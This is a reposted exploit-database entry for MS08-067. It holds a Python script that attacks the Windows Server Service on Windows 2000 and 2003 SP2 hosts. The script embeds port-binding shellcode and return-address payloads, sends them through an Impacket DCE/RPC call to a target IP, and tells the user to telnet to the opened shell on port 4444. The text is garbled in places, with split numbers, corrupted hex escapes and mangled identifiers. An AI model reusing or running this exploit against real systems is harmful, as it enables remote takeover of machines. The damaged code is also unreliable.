MS Windows Server Service Code Execution Exploit (MS08-0 6 7) (2k/2k3)-the exploit-warning-the black bar safety net

2008-11-18T00:00:00
ID MYHACK58:62200821122
Type myhack58
Reporter 佚名
Modified 2008-11-18T00:00:00

Description

`#!/ usr/bin/env python

#####################################################

MS08-0 6 7 Exploit by Debasis Mohanty (aka Tr0y/nopsled)

www.hackingspirits.com

www.coffeeandsecurity.com

Email: d3basis. m0hanty @ gmail.com

#####################################################

import struct import sys

from threading import Thread #Thread is imported incase you would like to modify

the src to run against multiple targets.

try: from impacket import smb from impacket import uuid from impacket. dcerpc import dcerpc from impacket. dcerpc import transport except ImportError, _: print 'Install the following library to make this script work' print 'Impacket : http://oss.coresecurity.com/projects/impacket.html' print 'PyCrypto : http://www.amk.ca/python/code/crypto.html' sys. exit(1)

print'#######################################################################' print '# MS08-0 6 7 Exploit by Debasis Mohanty (aka Tr0y/nopsled)' print '# www.hackingspirits.com' print '# www.coffeeandsecurity.com' print '# Email: d3basis. m0hanty @ gmail.com' print'#######################################################################\n'

Portbind shellcode from metasploit; Binds port to TCP port 4 4 4 4

shellcode = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x 76\x0e\xe9" shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56" shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22" shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x 76\x30" shellcode += "\x45\xce\x 76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81" shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42" shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22" shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9" shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79" shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab" shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa" shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48" shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1" shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0" shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\the XE3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe" shellcode += "\x16\x9c\the XE3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9" shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x 76\x5a\x43\xb4\xf4\x84" shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56" shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\the XE3\xf8" shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79" shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6" shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"

Payload for Windows 2 0 0 0 target

payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41' payload_1+='\x41\x41' payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43' payload_1+='\xeb\xcc' payload_1+='\x00\x00'

Payload for Windows 2 0 0 3[SP2] target

payload_2='\x41\x00\x5c\x00' payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00' payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77' payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00' payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae' payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00' payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43' payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff' payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75' payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5' payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6' payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'

if sys. argv[2]=='1': #Windows 2 0 0 0 Payload payload=payload_1 print '[-]Windows 2 0 0 0 payload loaded' if sys. argv[2]=='2': #Windows 2 0 0 3[SP2] Payload payload=payload_2 print '[-]Windows 2 0 0 3[SP2] payload loaded'

class SRVSVC_Exploit(Thread): def init(self, target, osver, port=4 4 5): super(SRVSVC_Exploit, self). init() self.__ port = port self. target = target self. osver = osver

def DCEPacket(self): print '[-]Initiating connection' self. trans = transport. DCERPCTransportFactory('ncacn_np:%s[\pipe\browser]' % self. target) self. trans. connect() print '[-]connected to ncacn_np:%s[\pipe\browser]' % self. target self. dce = self. trans. DCERPC_class(self. trans) self.__ dce. bind(uuid. uuidtup_to_bin(('4b324fc8-1 6 7 0-01d3-1 2 7 8-5a47bf6ee188', '3.0')))

Constructing Malicious Packet

self. stub='\x01\x00\x00\x00' self. stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00' self. stub+=shellcode self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x41\x41\x41\x41\x41\x41\x41\x41' self. stub+='\x00\x00\x00\x00' self. stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00' self. stub+=payload self. stub+='\x00\x00\x00\x00' self. stub+='\x02\x00\x00\x00\x02\x00\x00\x00' self. stub+='\x00\x00\x00\x00\x02\x00\x00\x00' self. stub+='\x5c\x00\x00\x00\x01\x00\x00\x00' self.__ stub+='\x01\x00\x00\x00' return

def run(self): self. DCEPacket() self. dce. call(0x1f, self.__ stub) #0x1f (or 3 1)- NetPathCanonicalize Operation print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4 4 4 4 on target machine...'

if name == 'main': try: target = sys. argv[1] osver = sys. argv[2] except IndexError: print '\nUsage: %s <target ip> <os version>\n' % sys. argv[0] print 'Example: srvsvcexpl.py 192.168.1.1 2\n' print 'Select OS Version' print '[-]Windows 2 0 0 0: OS Version = 1' print '[-]Windows 2 0 0 3[SP2]: OS Version = 2'

sys. exit(-1)

current = SRVSVC_Exploit(target, osver) current. start()

print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4 4 4 4 on target machine...'

milw0rm.com [2008-11-16]

`